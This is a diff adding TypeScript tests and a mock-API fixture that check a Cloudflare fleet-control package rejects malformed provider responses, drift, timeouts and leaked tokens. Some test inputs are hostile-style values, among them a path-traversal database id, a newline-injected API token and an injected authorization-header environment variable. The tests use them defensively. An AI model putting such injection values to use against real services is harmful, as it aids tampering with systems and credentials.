'/deployments/deployment-a', + (v: Record) => { + recordAt(v, 'result').id = 'wrong'; + }, + ], + [ + 'missing deployments', + '/deployments', + (v: Record) => { + delete recordAt(v, 'result').deployments; + }, + ], + [ + 'empty deployment list', + '/deployments', + (v: Record) => { + recordAt(v, 'result').deployments = []; + }, + ], + [ + 'false envelope success', + '/deployments', + (v: Record) => { + v.success = false; + }, + ], + [ + 'missing result', + '/deployments', + (v: Record) => { + delete v.result; + }, + ], + [ + 'envelope errors', + '/deployments', + (v: Record) => { + v.errors = [{ message: OBSERVATION_TOKEN }]; + }, + ], + [ + 'wrong bucket incarnation name', + '/allocated-probe-bucket', + (v: Record) => { + recordAt(v, 'result').name = 'foreign'; + }, + ], + [ + 'missing creation date', + '/allocated-probe-bucket', + (v: Record) => { + delete recordAt(v, 'result').creation_date; + }, + ], + [ + 'invalid creation date', + '/allocated-probe-bucket', + (v: Record) => { + recordAt(v, 'result').creation_date = 'invalid'; + }, + ], + [ + 'foreign jurisdiction', + '/allocated-probe-bucket', + (v: Record) => { + recordAt(v, 'result').jurisdiction = 'eu'; + }, + ], + ])('rejects %s', async (_name, suffix, mutate) => { + const f = await fixture(); + await mutateResponse( + f, + suffix as string, + mutate as (value: Record) => void, + ); + await expect(observeDirectWorkerVersion(selected(f))).rejects.toMatchObject( + errorShape, + ); + }); + + it.each([ + [], + [{ version_id: 'version-a', percentage: 99 }], + [{ version_id: 'version-a', percentage: -1 }], + [{ version_id: 'version-a', percentage: '100' }], + [ + { version_id: 'version-a', percentage: 100 }, + { version_id: 'version-a', percentage: 0 }, + ], + [ + { version_id: 'version-a', percentage: 50 }, + { version_id: 'old', percentage: 50 }, + ], + ])('rejects incomplete or ambiguous traffic %j', async (...versions) => { + const f = await fixture(); + await mutateResponse(f, '/deployments', (v) => { + recordAt(v, 'result.deployments.0').versions = versions; + }); + await expect(observeDirectWorkerVersion(selected(f))).rejects.toMatchObject( + errorShape, + ); + }); + + it.each([ + ['DB', 'database_id', 'foreign'], + ['MAINTENANCE', 'class_name', 'Runner'], + ['RUNNER', 'namespace_id', 'maintenance-id'], + ['RUNNER', 'script_name', 'foreign'], + ['RUNNER', 'dispatch_namespace', 'foreign'], + ['RUNNER', 'environment', 'foreign'], + ['PROBE_BUCKET', 'jurisdiction', 'eu'], + ['PROBE_BUCKET', 'bucket_name', 'invalid/bucket'], + ['DEPLOYMENT_TENANT', 'text', 'foreign'], + ['FLEET_ENVIRONMENT', 'text', 'foreign'], + ['FLEET_SCHEMA_VERSION', 'text', '1'], + ['FLEET_SPEC_DIGEST', 'text', 'f'.repeat(64)], + ['APPLICATION_RELEASE', 'text', '1'], + ['APP_PROBE_TOKEN', 'text', OBSERVATION_TOKEN], + ])('rejects binding drift %s.%s', async (name, field, value) => { + const f = await fixture(); + await mutateResponse(f, '/versions/version-a', (v) => { + required( + ( + recordAt(v, 'result.resources').bindings as Record[] + ).find((b) => b.name === name), + )[required(field)] = value; + }); + await expect(observeDirectWorkerVersion(selected(f))).rejects.toMatchObject( + errorShape, + ); + }); + + it.each([ + 'missing', + 'duplicate', + 'unsupported', + ])('rejects %s bindings', async (change) => { + const f = await fixture(); + await mutateResponse(f, '/versions/version-a', (v) => { + const list = recordAt(v, 'result.resources').bindings as Record< + string, + unknown + >[]; + if (change === 'missing') list.shift(); + if (change === 'duplicate') list.push(required(list[0])); + if (change === 'unsupported') + list.push({ type: 'kv_namespace', name: 'OTHER' }); + }); + await expect(observeDirectWorkerVersion(selected(f))).rejects.toMatchObject( + errorShape, + ); + }); + + it.each([ + 'Application/JSON; charset=utf-8', + 'APPLICATION/problem+JSON; profile="CaseSensitive"', + ])('routes %s through validated JSON before SDK parser selection', async (mime) => { + const f = await fixture(); + f.hook((_request, fallback) => { + const r = fallback(); + r.headers.set('content-type', mime); + return r; + }); + expect((await observeDirectWorkerVersion(selected(f))).versionId).toBe( + 'version-a', + ); + f.hook( + () => + new Response('{"success":true}', { headers: { 'content-type': mime } }), + ); + await expect(observeDirectWorkerVersion(selected(f))).rejects.toMatchObject( + errorShape, + ); + }); +}); + +describe('confirmed context before provider work', () => { + it.each([ + 'absent', + 'provider-pending', + 'invocation-pending', + 'wrong-prefix', + 'wrong-names', + 'wrong-fleet', + 'no-control', + 'wrong-digest', + ])('refuses %s context for every helper without dispatch', async (kind) => { + const stage = + kind === 'absent' || kind === 'provider-pending' || kind === 'no-control' + ? kind + : 'confirmed'; + const f = await fixture(undefined, stage); + if (kind === 'invocation-pending') + await f.journal.reserveInvocation( + JSON.stringify({ + contractVersion: 1, + configSha256: f.prepared.configSha256, + action: { kind: 'control-read' }, + }), + ); + const prepared = { ...structuredClone(f.prepared) }; + if (kind === 'wrong-prefix') + recordAt(prepared, 'config').resourcePrefix = 'foreign'; + if (kind === 'wrong-names') + recordAt(prepared, 'names.roles.a').scriptName = 'foreign'; + if (kind === 'wrong-fleet') + recordAt(prepared, 'names').fleetDatabase = 'foreign'; + if (kind === 'wrong-digest') prepared.configSha256 = 'f'.repeat(64); + const input = { ...f.input, prepared }; + await expect( + observeDirectWorkerVersion({ ...input, ...required(f.expected[0]) }), + ).rejects.toMatchObject(errorShape); + await expect( + readDirectSettlementEffects({ ...input, expected: f.expected }), + ).rejects.toMatchObject(errorShape); + await expect( + verifyDirectDecommissionExport({ + ...input, + role: 'a', + metadata: f.metadata, + sourceInvocationOrdinal: 1, + }), + ).rejects.toMatchObject(errorShape); + expect(f.requests).toHaveLength(0); + }); + + it.each([ + 'bad\ntoken', + ' leading', + '', + '\u0100', + ])('rejects invalid auth before dispatch', async (apiToken) => { + const f = await fixture(); + await expect( + observeDirectWorkerVersion({ ...selected(f), apiToken }), + ).rejects.toMatchObject(errorShape); + expect(f.requests).toHaveLength(0); + }); + + it('sanitizes SDK ambient overrides and retains caller journal ownership', async () => { + const f = await fixture(); + process.env.CLOUDFLARE_CUSTOM_HEADERS = 'authorization: wrong'; + process.env.CLOUDFLARE_LOG = 'debug'; + process.env.CLOUDFLARE_BASE_URL = 'https://unexpected.invalid'; + const result = await observeDirectWorkerVersion(selected(f)); + expect(result.versionId).toBe('version-a'); + for (const key of [ + 'CLOUDFLARE_CUSTOM_HEADERS', + 'CLOUDFLARE_LOG', + 'CLOUDFLARE_BASE_URL', + ]) + expect(process.env[key]).toBeUndefined(); + await f.settle({ kind: 'control-read' }); + }); +}); + +describe('fixed settlement query and ready-row correlation', () => { + it('reads reference D1 only, binds prefix/tenants, validates hashes and returns allowlisted effects', async () => { + const f = await fixture(); + const before = f.journal.snapshot(); + const output = await readDirectSettlementEffects({ + ...f.input, + expected: f.expected, + }); + expect(output.map((row) => row.role)).toEqual(['a', 'b']); + expect(output[0]).toMatchObject({ + versionId: 'version-a', + databaseId: 'database-a', + settlementKey: f.effects[0]?.observation_key, + identitySha256: f.effects[0]?.identity_sha256, + }); + expect(Object.isFrozen(output[0])).toBe(true); + expect(JSON.stringify(output)).not.toMatch( + /opaque-token-sentinel|entry|identity_json|provenance_json/u, + ); + expect(f.requests).toHaveLength(3); + expect( + f.requests.every( + (request) => + request.method === 'POST' && + request.url.endsWith('/d1/database/fleet-id/query'), + ), + ).toBe(true); + expect(f.journal.snapshot()).toEqual(before); + }); + + it('captures expected settlement inputs before SDK construction', async () => { + const f = await fixture(); + const expected = f.expected.map((value) => ({ ...value })); + const operation = readDirectSettlementEffects({ ...f.input, expected }); + required(expected[0]).versionId = 'foreign'; + expected.splice(1); + expect((await operation).map((value) => value.versionId)).toEqual([ + 'version-a', + 'version-b', + ]); + }); + + it.each([ + 'success', + 'result', + 'rows', + 'query-success', + 'query-errors', + 'query-error', + 'two-results', + 'pagination', + 'cursor', + 'count', + 'truncated', + ])('rejects malformed query %s before SDK defaults', async (kind) => { + const f = await fixture(); + f.hook(async (_request, fallback) => { + const body = (await fallback().json()) as Record; + if (kind === 'success') body.success = false; + if (kind === 'result') delete body.result; + if (kind === 'rows') delete recordAt(body, 'result.0').results; + if (kind === 'query-success') recordAt(body, 'result.0').success = false; + if (kind === 'query-errors') + recordAt(body, 'result.0').errors = ['opaque-token-sentinel']; + if (kind === 'query-error') + recordAt(body, 'result.0').error = 'opaque-token-sentinel'; + if (kind === 'two-results') + (body.result as unknown[]).push(recordAt(body, 'result.0')); + if (kind === 'pagination') body.result_info = { total_pages: 2 }; + if (kind === 'cursor') body.result_info = { cursor: 'next' }; + if (kind === 'count') body.result_info = { count: 0 }; + if (kind === 'truncated') + return new Response('{', { + headers: { 'content-type': 'application/json' }, + }); + return Response.json(body, { + headers: { 'content-type': 'Application/JSON; charset=utf-8' }, + }); + }); + await expect( + readDirectSettlementEffects({ ...f.input, expected: f.expected }), + ).rejects.toMatchObject(errorShape); + }); + + it.each([ + 'identity-hash', + 'provenance-hash', + 'key', + 'run-key', + 'kind', + 'duplicate', + 'identity-version', + 'role', + 'tenant', + 'environment', + 'target-version', + 'target-spec', + 'target-script', + 'ready-key', + 'ready-phase', + 'ready-database', + ])('rejects %s mismatch even with valid outer envelopes', async (kind) => { + const f = await fixture(); + f.hook(async (request, fallback) => { + const body = (await fallback().json()) as Record; + const query = (await request.clone().json()) as { sql: string }; + if (query.sql.includes('direct_reference_observations')) { + const row = recordAt(body, 'result.0.results.0'); + const identity = JSON.parse(String(row.identity_json)); + if (kind === 'identity-version') identity.version = 2; + if (kind === 'role') identity.role = 'b'; + if (kind === 'tenant') identity.tenantTag = 'foreign'; + if (kind === 'environment') identity.environment = 'foreign'; + if (kind === 'target-version') + identity.target.artifactVersion = 'foreign'; + if (kind === 'target-spec') identity.target.specDigest = 'f'.repeat(64); + if (kind === 'target-script') + identity.target.physicalScriptName = 'foreign'; + row.identity_json = JSON.stringify(identity); + row.identity_sha256 = observationHash( + JSON.stringify([ + 'observation', + f.prepared.config.resourcePrefix, + 'settlement', + row.observation_key, + 'identity', + row.identity_json, + ]), + ); + if (kind === 'identity-hash') row.identity_sha256 = 'f'.repeat(64); + if (kind === 'provenance-hash') row.provenance_sha256 = 'f'.repeat(64); + if (kind === 'key') row.observation_key = 'f'.repeat(64); + if (kind === 'run-key') row.run_key = 'foreign'; + if (kind === 'kind') row.observation_kind = 'resource'; + if (kind === 'duplicate') recordAt(body, 'result.0.results')['1'] = row; + } else { + const row = recordAt(body, 'result.0.results.0'); + if (kind === 'ready-key') row.settled_settlement_key = 'f'.repeat(64); + if (kind === 'ready-phase') row.phase = 'migrating'; + if (kind === 'ready-database') row.database_id = 'foreign'; + } + return Response.json(body); + }); + await expect( + readDirectSettlementEffects({ ...f.input, expected: f.expected }), + ).rejects.toMatchObject(errorShape); + }); +}); + +describe('normal export raw-byte proof', () => { + it('derives exact R2 key and returns frozen receipt with source ordinal', async () => { + const f = await fixture(); + const input = await f.exportInput(); + const before = f.journal.snapshot(); + const output = await verifyDirectDecommissionExport(input); + expect(output).toEqual({ + verified: true, + role: 'a', + receipt: input.metadata.receipt, + location: input.metadata.location, + size: Buffer.byteLength(SQL_SENTINEL), + sha256: observationHash(SQL_SENTINEL), + sourceInvocationOrdinal: input.sourceInvocationOrdinal, + }); + expect(Object.isFrozen(output.receipt)).toBe(true); + expect(JSON.stringify(output)).not.toContain(SQL_SENTINEL); + expect(f.requests[0]?.headers.get('cf-r2-jurisdiction')).toBe('default'); + expect(f.requests[0]?.headers.get('accept')).toBe( + 'application/octet-stream', + ); + expect(f.journal.snapshot()).toEqual(before); + }); + + it('hashes raw binary streams larger than the JSON cap without buffering', async () => { + const f = await fixture(); + const input = await f.exportInput(); + const chunk = Buffer.alloc(64 * 1024, 255); + const count = 145; + const { createHash } = await import('node:crypto'); + const hash = createHash('sha256'); + for (let i = 0; i < count; i++) hash.update(chunk); + input.metadata = { + ...input.metadata, + size: chunk.length * count, + sha256: hash.digest('hex'), + }; + let pulled = 0; + f.hook( + () => + new Response( + new ReadableStream({ + pull(controller) { + if (pulled++ === count) controller.close(); + else controller.enqueue(chunk); + }, + }), + ), + ); + const output = await verifyDirectDecommissionExport(input); + expect(output.size).toBeGreaterThan(8 * 1024 * 1024); + expect(output.sha256).toBe(input.metadata.sha256); + expect(pulled).toBe(count + 1); + }); + + it('captures metadata, role and ordinal before awaiting SDK work', async () => { + const f = await fixture(); + const input = await f.exportInput(); + const operation = verifyDirectDecommissionExport(input); + input.metadata = { + ...input.metadata, + receipt: { ...input.metadata.receipt, databaseId: 'foreign' }, + }; + input.sourceInvocationOrdinal = 100; + expect((await operation).receipt.databaseId).toBe('database-a'); + }); + + it.each([ + 'unavailable', + 'role', + 'ordinal', + 'action', + 'authority', + 'location', + 'database-path', + 'device-id', + 'operation-path', + 'size-zero', + 'size-unsafe', + 'uppercase-hash', + 'phase', + 'revision', + 'generation', + ])('refuses %s metadata before GET', async (kind) => { + const f = await fixture(); + const input = await f.exportInput(); + const m = structuredClone(input.metadata) as unknown as Record< + string, + unknown + >; + if (kind === 'unavailable') m.available = false; + if (kind === 'role') m.role = 'b'; + if (kind === 'ordinal') input.sourceInvocationOrdinal--; + if (kind === 'action') await f.settle({ kind: 'control-read' }); + if (kind === 'authority') + recordAt(m, 'receipt').authority = 'r2://foreign/receipts/v1'; + if (kind === 'location') m.location += '?signature=opaque-token-sentinel'; + if (kind === 'database-path') + recordAt(m, 'receipt').databaseId = '../foreign'; + if (kind === 'device-id') recordAt(m, 'receipt').databaseId = 'CON'; + if (kind === 'operation-path') recordAt(m, 'receipt').operationId = 'a/b'; + if (kind === 'size-zero') m.size = 0; + if (kind === 'size-unsafe') m.size = Number.MAX_SAFE_INTEGER + 1; + if (kind === 'uppercase-hash') m.sha256 = String(m.sha256).toUpperCase(); + if (kind === 'phase') m.lifecyclePhase = 'ready'; + if (kind === 'revision') m.revision = -1; + if (kind === 'generation') m.generation = 0.5; + await expect( + verifyDirectDecommissionExport({ + ...input, + metadata: m as unknown as typeof input.metadata, + }), + ).rejects.toMatchObject(errorShape); + expect(f.requests).toHaveLength(0); + }); + + it.each([ + 'partial', + 'content-range', + 'redirect', + 'missing', + 'no-body', + 'short', + 'long', + 'hash', + 'understated-length', + 'wrong-length', + 'encoded', + 'body-error', + ])('rejects %s export without leaking raw content', async (kind) => { + const f = await fixture(); + const input = await f.exportInput(); + f.hook(() => { + if (kind === 'partial') + return new Response(SQL_SENTINEL, { status: 206 }); + if (kind === 'content-range') + return new Response(SQL_SENTINEL, { + headers: { 'content-range': 'bytes 0-25/26' }, + }); + if (kind === 'redirect') + return new Response(null, { + status: 302, + headers: { location: 'https://unexpected.invalid' }, + }); + if (kind === 'missing') + return Response.json( + { errors: [{ message: SQL_SENTINEL + OBSERVATION_TOKEN }] }, + { status: 404 }, + ); + if (kind === 'no-body') return new Response(null); + if (kind === 'short') return new Response(SQL_SENTINEL.slice(1)); + if (kind === 'long') return new Response(`${SQL_SENTINEL}x`); + if (kind === 'hash') return new Response('x'.repeat(SQL_SENTINEL.length)); + if (kind === 'understated-length') + return new Response(`${SQL_SENTINEL}x`, { + headers: { 'content-length': String(input.metadata.size) }, + }); + if (kind === 'wrong-length') + return new Response(SQL_SENTINEL, { + headers: { 'content-length': '1' }, + }); + if (kind === 'encoded') + return new Response(SQL_SENTINEL, { + headers: { 'content-encoding': 'gzip' }, + }); + return new Response( + new ReadableStream({ + start(controller) { + controller.error(new Error(SQL_SENTINEL + OBSERVATION_TOKEN)); + }, + }), + ); + }); + const error = await verifyDirectDecommissionExport(input).catch( + (error: unknown) => error, + ); + expect(error).toMatchObject(errorShape); + expect(String(error)).not.toMatch(/private_sql_sentinel|provider-token/u); + expect(error).not.toHaveProperty('cause'); + expect(f.requests).toHaveLength(1); + }); + + it.each([ + 'headers', + 'body', + 'eof', + 'reject-cancel', + 'hang-cancel', + ])('bounds %s with the same request deadline', async (kind) => { + const f = await fixture(30); + const input = await f.exportInput(); + const cancellations = vi.fn(); + f.hook(() => { + if (kind === 'headers') return new Promise(() => {}); + return new Response( + new ReadableStream({ + start(controller) { + if (kind === 'eof') controller.enqueue(Buffer.from(SQL_SENTINEL)); + }, + cancel() { + cancellations(); + if (kind === 'reject-cancel') + return Promise.reject(new Error('cancellation sentinel')); + if (kind === 'hang-cancel') return new Promise(() => {}); + }, + }), + ); + }); + await expect(verifyDirectDecommissionExport(input)).rejects.toMatchObject( + errorShape, + ); + if (kind !== 'headers') expect(cancellations).toHaveBeenCalled(); + expect(f.requests).toHaveLength(1); + }); + + it('shares one deadline between headers and body rather than resetting at headers', async () => { + const f = await fixture(80); + const input = await f.exportInput(); + let bodyTimer: ReturnType; + f.hook(async () => { + await new Promise((resolve) => setTimeout(resolve, 50)); + return new Response( + new ReadableStream({ + start(controller) { + bodyTimer = setTimeout(() => { + controller.enqueue(Buffer.from(SQL_SENTINEL)); + controller.close(); + }, 50); + }, + cancel() { + clearTimeout(bodyTimer); + }, + }), + ); + }); + await expect(verifyDirectDecommissionExport(input)).rejects.toMatchObject( + errorShape, + ); + }); + + it('bounds oversized JSON error bodies and handles late responses after timeout', async () => { + const f = await fixture(30); + const input = await f.exportInput(); + f.hook( + () => + new Response('x'.repeat(8 * 1024 * 1024 + 1), { + status: 500, + headers: { 'content-type': 'application/json' }, + }), + ); + await expect(verifyDirectDecommissionExport(input)).rejects.toMatchObject( + errorShape, + ); + let deliver!: (response: Response) => void; + f.hook( + () => + new Promise((resolve) => { + deliver = resolve; + }), + ); + await expect(verifyDirectDecommissionExport(input)).rejects.toMatchObject( + errorShape, + ); + const cancelled = vi.fn(() => Promise.reject(new Error('cancel'))); + deliver(new Response(new ReadableStream({ cancel: cancelled }))); + await vi.waitFor(() => expect(cancelled).toHaveBeenCalled()); + }); +}); + +it('executes the same synthetic fixture natively outside Vitest', async () => { + const fixtureUrl = new URL( + './fixtures/direct-observations.ts', + import.meta.url, + ).href; + const moduleUrl = new URL( + '../scripts/direct-credentialed-observations.mjs', + import.meta.url, + ).href; + const source = `import assert from 'node:assert/strict'; + globalThis.fetch = () => { throw Error('unexpected network'); }; + const { directObservationFixture } = await import(${JSON.stringify(fixtureUrl)}); + const { observeDirectWorkerVersion, readDirectSettlementEffects, verifyDirectDecommissionExport } = await import(${JSON.stringify(moduleUrl)}); + const f = await directObservationFixture(); + try { + process.env.CLOUDFLARE_LOG = 'debug'; + process.env.CLOUDFLARE_BASE_URL = 'https://unexpected.invalid'; + assert.equal((await observeDirectWorkerVersion({...f.input, ...f.expected[0]})).trafficPercentage, 100); + assert.equal((await readDirectSettlementEffects({...f.input, expected:f.expected})).length, 2); + assert.equal((await verifyDirectDecommissionExport(await f.exportInput())).verified, true); + assert.deepEqual(f.unexpected, []); + console.log('native-observations-ok'); + } finally { await f.close(); }`; + const output = await promisify(execFile)( + process.execPath, + ['--input-type=module', '-e', source], + { timeout: 15_000 }, + ); + expect(output.stdout.trim()).toBe('native-observations-ok'); + expect(output.stderr).not.toMatch( + /provider-token|private_sql_sentinel|CLOUDFLARE/u, + ); +}); diff --git a/packages/fleet-control/test/fixtures/direct-observations.ts b/packages/fleet-control/test/fixtures/direct-observations.ts new file mode 100644 index 00000000..0e350046 --- /dev/null +++ b/packages/fleet-control/test/fixtures/direct-observations.ts @@ -0,0 +1,424 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { mkdtemp, readFile, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { preflightDirectConformance } from '../../scripts/direct-credentialed-conformance-preflight.mjs'; +import type { DirectExpectedWorkerVersion } from '../../scripts/direct-credentialed-observations.mjs'; +import { openDirectRunState } from '../../scripts/direct-credentialed-run-state.mjs'; +import type { DirectReferenceAction } from '../../scripts/direct-reference-contract.mjs'; +import type { DirectDecommissionExportMetadata } from '../../scripts/direct-reference-lifecycle.js'; + +export const observationHash = (value: string | Uint8Array) => + createHash('sha256').update(value).digest('hex'); +export const providerJson = (result: unknown, result_info?: unknown) => + Response.json({ + success: true, + errors: [], + result, + ...(result_info === undefined ? {} : { result_info }), + }); +export const OBSERVATION_TOKEN = 'legacy/provider-token+sentinel=='; +export const SQL_SENTINEL = 'SELECT private_sql_sentinel;'; +export type ObservationHook = ( + request: Request, + fallback: () => Response, +) => Response | Promise; + +export async function directObservationFixture( + timeout = 1000, + stage: + | 'confirmed' + | 'absent' + | 'provider-pending' + | 'no-control' = 'confirmed', +) { + const directory = await mkdtemp(join(tmpdir(), 'direct-observations-')); + const config = JSON.parse( + await readFile( + new URL( + '../../scripts/direct-credentialed-conformance.example.json', + import.meta.url, + ), + 'utf8', + ), + ); + const reference = + "import manifest from './direct-run-manifest.js'; export default {fetch(){return Response.json(manifest.contractVersion)}};"; + const tenant = + 'export class Maintenance {} export class Runner {} export default {};'; + config.referenceWorker.artifact = { + bundle: './reference.mjs', + mainModule: 'worker.js', + sha256: observationHash(reference), + }; + config.deployment.artifact = { + bundle: './tenant.mjs', + mainModule: 'worker.js', + sha256: observationHash(tenant), + }; + config.referenceWorker.requestTimeoutMs = timeout; + config.referenceWorker.invocationTimeoutMs = 2000; + const configPath = join(directory, 'config.json'); + await Promise.all([ + writeFile(configPath, JSON.stringify(config)), + writeFile(join(directory, 'reference.mjs'), reference), + writeFile(join(directory, 'tenant.mjs'), tenant), + ]); + const prepared = await preflightDirectConformance({ configPath }); + const journal = await openDirectRunState({ + configPath, + prepared, + accountId: 'account', + mode: 'run', + }); + const names = prepared.names; + async function settle(action: DirectReferenceAction) { + const reservation = await journal.reserveInvocation( + JSON.stringify({ + contractVersion: 1, + configSha256: prepared.configSha256, + action, + }), + ); + await journal.settleInvocation(reservation); + return reservation.ordinal; + } + if (stage !== 'absent') { + await journal.bindBootstrapContext({ + names, + zoneId: 'zone', + zoneName: config.ownedHostname, + accountWorkersDevSubdomain: 'attested-account', + dispatch: { kind: 'empty', count: 0 }, + }); + if (stage === 'provider-pending') + await journal.beginBootstrapMutation('create-fleet-d1'); + else { + for (const [kind, name, uuid] of [ + ['create-fleet-d1', names.fleetDatabase, 'fleet-id'], + ['create-quota-d1', names.quotaDatabase, 'quota-id'], + ] as const) { + await journal.beginBootstrapMutation(kind); + await journal.confirmBootstrapMutation({ + kind, + receipt: { name, uuid }, + }); + } + await journal.beginBootstrapMutation('create-export-r2'); + await journal.confirmBootstrapMutation({ + kind: 'create-export-r2', + receipt: { + name: names.exportBucket, + jurisdiction: 'default', + creationDate: '2026-09-09T12:00:00.000Z', + }, + }); + await journal.beginBootstrapMutation('upload-reference'); + await journal.confirmBootstrapMutation({ + kind: 'upload-reference', + receipt: { scriptName: names.referenceWorker, tag: null, etag: null }, + }); + await journal.recordBootstrapObservation({ + kind: 'active', + deploymentId: 'reference-deployment', + versionId: 'reference-version', + }); + await journal.beginBootstrapMutation('enable-reference-ingress'); + await journal.confirmBootstrapMutation({ + kind: 'enable-reference-ingress', + receipt: { enabled: true, previewsEnabled: false }, + }); + if (stage !== 'no-control') + await journal.recordBootstrapObservation({ + kind: 'control-read', + ordinal: await settle({ kind: 'control-read' }), + }); + } + } + const expected: DirectExpectedWorkerVersion[] = ['a', 'b'].map((role) => ({ + role: role as 'a' | 'b', + versionId: `version-${role}`, + databaseId: `database-${role}`, + specDigest: observationHash(`spec-${role}`), + applicationRelease: '2', + })); + const weights = [{ version_id: 'version-a', percentage: 100 }]; + const deployment = { + id: 'deployment-a', + strategy: 'percentage', + versions: weights, + }; + const bindingList = (index: number, current = false) => { + const target = expected[index]; + if (!target) throw new Error('fixture target absent'); + const roleNames = names.roles[target.role]; + return [ + { name: 'DB', type: 'd1', database_id: target.databaseId }, + { + name: 'MAINTENANCE', + type: 'durable_object_namespace', + class_name: 'Maintenance', + namespace_id: 'maintenance-id', + }, + { + name: 'RUNNER', + type: 'durable_object_namespace', + class_name: 'Runner', + namespace_id: 'runner-id', + script_name: roleNames.scriptName, + }, + { + name: 'PROBE_BUCKET', + type: 'r2_bucket', + bucket_name: 'allocated-probe-bucket', + }, + ...Object.entries({ + DEPLOYMENT_TENANT: roleNames.tenantTag, + FLEET_ENVIRONMENT: config.environment, + FLEET_INGRESS_CONTRACT: 'guarded-object-v1', + FLEET_SCHEMA_VERSION: + current && weights[0]?.version_id !== target.versionId ? '1' : '2', + FLEET_SPEC_DIGEST: + current && weights[0]?.version_id !== target.versionId + ? observationHash('old') + : target.specDigest, + APPLICATION_RELEASE: + current && weights[0]?.version_id !== target.versionId ? '1' : '2', + }).map(([name, text]) => ({ name, type: 'plain_text', text })), + { name: 'APP_PROBE_TOKEN', type: 'secret_text' }, + { name: 'DEPLOYMENT_IDENTITY_SECRET', type: 'secret_text' }, + { name: 'MAINTENANCE_ADMIN_SECRET', type: 'secret_text' }, + ]; + }; + const runtime = { + compatibility_date: config.deployment.compatibilityDate, + compatibility_flags: config.deployment.compatibilityFlags, + limits: { cpu_ms: config.deployment.cpuLimitMs }, + }; + const requests: Request[] = []; + const unexpected: string[] = []; + let hook: ObservationHook | undefined; + const effects = expected.map((target) => { + const identity = { + version: 1, + role: target.role, + tenantTag: names.roles[target.role].tenantTag, + environment: config.environment, + target: { + physicalScriptName: names.roles[target.role].scriptName, + specDigest: target.specDigest, + artifactVersion: target.versionId, + }, + }; + const key = observationHash( + JSON.stringify({ + tenantTag: identity.tenantTag, + environment: identity.environment, + specDigest: target.specDigest, + artifactVersion: target.versionId, + }), + ); + const identity_json = JSON.stringify(identity); + const provenance_json = JSON.stringify({ + entry: { privateToken: 'opaque-token-sentinel' }, + alreadySettled: false, + observedAt: '2026-09-09T12:00:00.000Z', + }); + const bound = (field: string, value: string) => + observationHash( + JSON.stringify([ + 'observation', + config.resourcePrefix, + 'settlement', + key, + field, + value, + ]), + ); + return { + run_key: config.resourcePrefix, + observation_kind: 'settlement', + observation_key: key, + identity_json, + identity_sha256: bound('identity', identity_json), + provenance_json, + provenance_sha256: bound('provenance', provenance_json), + }; + }); + const exportBytes = Buffer.from(SQL_SENTINEL); + const metadata: Extract< + DirectDecommissionExportMetadata, + { available: true } + > = { + available: true, + role: 'a', + receipt: { + version: 1, + authority: `r2://${names.exportBucket}/${config.resourcePrefix}/receipts/v1`, + databaseId: 'database-a', + operationId: 'operation-a', + }, + location: `r2://${names.exportBucket}/${config.resourcePrefix}/receipts/v1/database-a/operation-a.sql`, + size: exportBytes.length, + sha256: observationHash(exportBytes), + lifecyclePhase: 'database-exported', + intentState: 'transitioning', + revision: 4, + generation: 1, + }; + const fetchRequest: typeof fetch = async (input, init) => { + const request = new Request(input, init); + requests.push(request); + const url = new URL(request.url); + if ( + url.origin !== 'https://api.cloudflare.com' || + request.headers.get('authorization') !== `Bearer ${OBSERVATION_TOKEN}` || + request.redirect !== 'manual' + ) + throw new Error('unexpected transport'); + const root = '/client/v4/accounts/account'; + const path = url.pathname; + let response: (() => Response) | undefined; + for (const [index, target] of expected.entries()) { + const script = `${root}/workers/scripts/${names.roles[target.role].scriptName}`; + if (request.method === 'GET' && path === `${script}/deployments`) + response = () => providerJson({ deployments: [deployment] }); + if ( + request.method === 'GET' && + path === `${script}/deployments/deployment-a` + ) + response = () => providerJson(deployment); + if ( + request.method === 'GET' && + path === `${script}/versions/${target.versionId}` + ) + response = () => + providerJson({ + id: target.versionId, + resources: { + script_runtime: runtime, + bindings: bindingList(index), + }, + }); + if (request.method === 'GET' && path === `${script}/settings`) + response = () => + providerJson({ + ...runtime, + limits: { + cpu_ms: 999, + subrequests: config.deployment.subrequestLimit, + }, + bindings: bindingList(index, true), + }); + } + if ( + request.method === 'GET' && + path === `${root}/r2/buckets/allocated-probe-bucket` + ) + response = () => + providerJson({ + name: 'allocated-probe-bucket', + creation_date: '2026-09-09T13:00:00Z', + }); + if ( + request.method === 'POST' && + path === `${root}/d1/database/fleet-id/query` + ) { + const body = (await request.clone().json()) as { + sql: string; + params: string[]; + }; + if ( + body.sql === + "SELECT run_key,observation_kind,observation_key,identity_json,identity_sha256,provenance_json,provenance_sha256 FROM direct_reference_observations WHERE run_key=? AND observation_kind='settlement'" && + JSON.stringify(body.params) === JSON.stringify([config.resourcePrefix]) + ) + response = () => providerJson([{ success: true, results: effects }]); + if ( + body.sql === + 'SELECT tenant_tag,environment,backend,script_name,database_id,schema_version,artifact_version,desired_spec_digest,phase,settled_settlement_key FROM anchorage_fleet_deployments WHERE tenant_tag=? AND environment=?' + ) { + const index = expected.findIndex( + (value) => + names.roles[value.role].tenantTag === body.params[0] && + body.params[1] === config.environment, + ); + const target = expected[index]; + if (target) + response = () => + providerJson([ + { + success: true, + results: [ + { + tenant_tag: names.roles[target.role].tenantTag, + environment: config.environment, + backend: 'plain-worker', + script_name: names.roles[target.role].scriptName, + database_id: target.databaseId, + schema_version: 2, + artifact_version: target.versionId, + desired_spec_digest: target.specDigest, + phase: 'ready', + settled_settlement_key: effects[index]?.observation_key, + }, + ], + }, + ]); + } + } + if ( + request.method === 'GET' && + decodeURIComponent(path) === + `${root}/r2/buckets/${names.exportBucket}/objects/${config.resourcePrefix}/receipts/v1/database-a/operation-a.sql` + ) + response = () => new Response(exportBytes); + if (!response || url.search) { + unexpected.push(`${request.method} ${path}`); + throw new Error('unexpected request'); + } + return hook ? hook(request, response) : response(); + }; + return { + prepared, + journal, + expected, + deployment, + runtime, + effects, + metadata, + requests, + unexpected, + directory, + settle, + input: { + prepared, + journal, + apiToken: OBSERVATION_TOKEN, + fetch: fetchRequest, + }, + hook(value: ObservationHook | undefined) { + hook = value; + }, + async exportInput() { + return { + prepared, + journal, + apiToken: OBSERVATION_TOKEN, + fetch: fetchRequest, + role: 'a' as const, + metadata, + sourceInvocationOrdinal: await settle({ + kind: 'decommission-export', + role: 'a', + }), + }; + }, + async close() { + await journal.close(); + await rm(directory, { recursive: true, force: true }); + }, + }; +} From 60b3ac8181128720bf27023ba14f1ad2d56ffd5c Mon 